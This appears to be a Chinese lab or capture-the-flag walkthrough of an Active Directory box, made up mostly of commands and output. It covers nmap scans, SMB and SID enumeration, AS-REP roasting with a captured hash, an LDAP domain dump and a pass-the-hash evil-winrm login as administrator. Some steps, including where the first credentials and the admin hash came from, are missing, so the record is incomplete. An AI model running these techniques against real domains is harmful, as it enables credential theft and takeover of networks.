// 寻找靶机IP 126 nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-2000:16 EST Nmap scan report for192.168.56.1 Host is up (0.00044s latency). MAC Address: 0A:00:27:00:00:09 (Unknown) Nmap scan report for192.168.56.2 Host is up (0.00049s latency). MAC Address: 08:00:27:77:3D:23 (Oracle VirtualBox virtual NIC) Nmap scan report for192.168.56.126 Host is up (0.00028s latency). MAC Address: 08:00:27:19:C5:0F (Oracle VirtualBox virtual NIC) Nmap scan report for192.168.56.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in27.99 seconds
// 端口扫描 nmap -sT -min-rate 10000 -p- 192.168.56.126 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-2000:17 EST Strange read error from192.168.56.126 (104 - 'Connection reset by peer') Nmap scan report for192.168.56.126 Host is up (0.0014s latency). Not shown: 65518 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49664/tcp open unknown MAC Address: 08:00:27:19:C5:0F (Oracle VirtualBox virtual NIC)
// 服务版本扫描 nmap -sT -sV -O -p- 192.168.56.126 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-2000:24 EST Nmap scan report for192.168.56.126 Host is up (0.00074s latency). Not shown: 65517 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-2020:26:28Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing 49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 MAC Address: 08:00:27:19:C5:0F (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1openand1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|2016|11|10 (95%) OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_10 Aggressive OS guesses: Microsoft Windows Server 2022 (95%), Microsoft Windows Server 2016 (91%), Microsoft Windows 11 21H2 (90%), Microsoft Windows 10 (86%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
渗透
SMB
无任何凭据和线索,只能从SMB开始
当头一棒,不能使用匿名帐户,所以LDAP枚举用户也不能成功了
1 2 3
smbclient -L 192.168.56.126 Password for [WORKGROUP\root]: session setup failed: NT_STATUS_ACCESS_DENIED
withopen('user.txt','r') as file1: data = file1.read() lines = data.splitlines() withopen('user.txt','w') as file2: for line in lines: file2.write(line[line.find('E:')+9:line.find('@')]+'\n')
lookupsid.py 'SOUPEDECODE.LOCAL/charlie@192.168.56.126' > res
1 2 3 4 5 6
withopen('res','r') as file: data = file.read() lines = data.splitlines() withopen('username.txt','w+') as file2: for line in lines: file2.write(line[line.find('\\') + 1:line.find('(')-1] + '\n')
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 192.168.56.126 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
最后发现SYSVOL里边存在东西,但是东西好像没用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
smbclient //192.168.56.126/SYSVOL -U SOUPEDECODE.LOCAL/charlie%charlie Try "help" to get a list of possible commands. smb: \> ls . D 0 Sat Jun 1515:21:212024 .. D 0 Sat Jun 1515:21:212024 SOUPEDECODE.LOCAL Dr 0 Sat Jun 1515:21:212024
12942591 blocks of size 4096.10927852 blocks available smb: \> cd SOUPEDECODE.LOCAL smb: \SOUPEDECODE.LOCAL\> dir . D 0 Sat Jun 1515:30:472024 .. D 0 Sat Jun 1515:21:212024 DfsrPrivate DHSr 0 Sat Jun 1515:30:472024 Policies D 0 Sat Jun 1515:21:302024 scripts D 0 Sat Jun 1515:21:212024
12942591 blocks of size 4096.10927852 blocks available
AS_REP Roasting
本来想尝试Kerbeoating的,但是拿不到SPN
1 2 3 4
GetUserSPNs.py SOUPEDECODE.LOCAL/charlie:charlie -dc-ip 192.168.56.126 -request Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
No entries found!
看了下WP,发现可以通过 AS_REP Roasting 来进行下一步操作
通过 GetUserSPNs.py 枚举出关闭了预认证的用户
1 2 3 4
GetNPUsers.py -dc-ip 192.168.56.126 SOUPEDECODE.LOCAL/ -usersfile username.txt | grep 'SOUPEDECODE.LOCAL' /root/.local/bin/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() + datetime.timedelta(days=1) $krb5asrep$23$zximena448@SOUPEDECODE.LOCAL:fecb2e188b7b15d1a4ed208f1c2e462b$3f348276b715378bf6aece608de90fa7134900b6439f45fbc3cd3081dad69bceb94c332b5de16f17e2beabe48da6f5809835b440002fdcb615f4bfa9f0041affd29bbdf6b425d48216d03c5cb624b646e366e3186a2ecfd6cbe2631ef6540094d238de54e4353055ecc2bc8694a3fe53e0a68b99f339311540ed0033dad48d23b59b8568355a6adc48fe221793024cfdec3c1acee051fde18bc455aef282d44c1c5388fadc5a4908b2b8c35a9cb8655d1db7189880541995043f5321306a3778105f6e2079ccad5111ac5589f490d32ce03c12006fce2722aeb10211529818cd2e7cbcaf82862261b58f0775eb9e224651164c55585e
smbclient //192.168.56.126/C$ -U SOUPEDECODE.LOCAL/zximena448%internet Try "help" to get a list of possible commands. smb: \> ls $WinREAgent DH 0 Sat Jun 1515:19:512024 Documents and Settings DHSrn 0 Sat Jun 1522:51:08 2024 DumpStack.log.tmp AHS 12288 Mon Jan 2018:17:332025 pagefile.sys AHS 1476395008 Mon Jan 2018:17:332025 PerfLogs D 0 Sat May 8 04:15:05 2021 Program Files DR 0 Sat Jun 1513:54:312024 Program Files (x86) D 0 Sat May 8 05:34:132021 ProgramData DHn 0 Sat Jun 1522:51:08 2024 Recovery DHSn 0 Sat Jun 1522:51:08 2024 System Volume Information DHS 0 Sat Jun 1515:02:212024 Users DR 0 Mon Jun 1714:31:08 2024 Windows D 0 Sat Jun 1515:21:102024
12942591 blocks of size 4096.10926158 blocks available smb: \>
UserFlag
1 2 3 4 5
smb: \Users\zximena448\Desktop\> get user.txt getting file \Users\zximena448\Desktop\user.txt of size 33as user.txt (0.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)
cat user.txt 2fe79eb0e02ecd4dd2833cfcbbdb504c
通过evil-winrm登陆不进去,可能无权限
域内信息收集
通过LdapDomainDump
1 2 3 4 5 6
ldapdomaindump SOUPEDECODE.LOCAL -u 'SOUPEDECODE.LOCAL\zximena448' -p 'internet' [*] Connecting to host... [*] Binding to host [+] Bind OK [*] Starting domain dump [+] Domain dump finished
evil-winrm -i 192.168.56.126 -u 'administrator' -H '8982babd4da89d33210779a6c5b078bd' Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents>
RootFlag
1 2
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt d41d8cd98f00b204e9800998ecf8427e